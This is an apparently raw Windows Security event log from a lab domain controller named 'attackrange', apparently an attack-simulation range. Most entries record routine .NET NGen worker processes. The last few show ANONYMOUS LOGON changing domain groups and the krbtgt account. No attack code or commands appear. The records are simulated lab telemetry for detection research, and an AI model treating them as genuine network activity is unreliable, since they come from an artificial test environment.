	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2a4 -Pipe 2c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254753
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1348
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 2f8 -Pipe 2c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254759
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 2ac -Pipe 2d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254758
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f8 -InterruptEvent 0 -NGENProcess 304 -Pipe 308 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254757
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 27c -InterruptEvent 0 -NGENProcess 308 -Pipe 2c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254762
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f8 -InterruptEvent 0 -NGENProcess 300 -Pipe 304 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254761
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2a0 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254760
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 318 -InterruptEvent 0 -NGENProcess 304 -Pipe 2ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254763
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 27c -Pipe 30c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254769
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x101c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2fc -InterruptEvent 0 -NGENProcess 318 -Pipe 2a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254768
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 32c -Pipe 320 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254767
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 298 -Pipe 2e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254766
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 32c -InterruptEvent 0 -NGENProcess 320 -Pipe 27c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254765
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcfc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 310 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254764
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 2a0 -Pipe 2f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254770
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 314 -Pipe 330 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254771
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 0 -NGENProcess 324 -Pipe 340 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254785
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Domain Controllers
	Group Name:		Domain Controllers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254784
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Read-only Domain Controllers
	Group Name:		Read-only Domain Controllers
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=User Account Management
OpCode=Info
RecordNumber=254783
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Target Account:
	Security ID:		ATTACKRANGE\krbtgt
	Account Name:		krbtgt
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254782
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
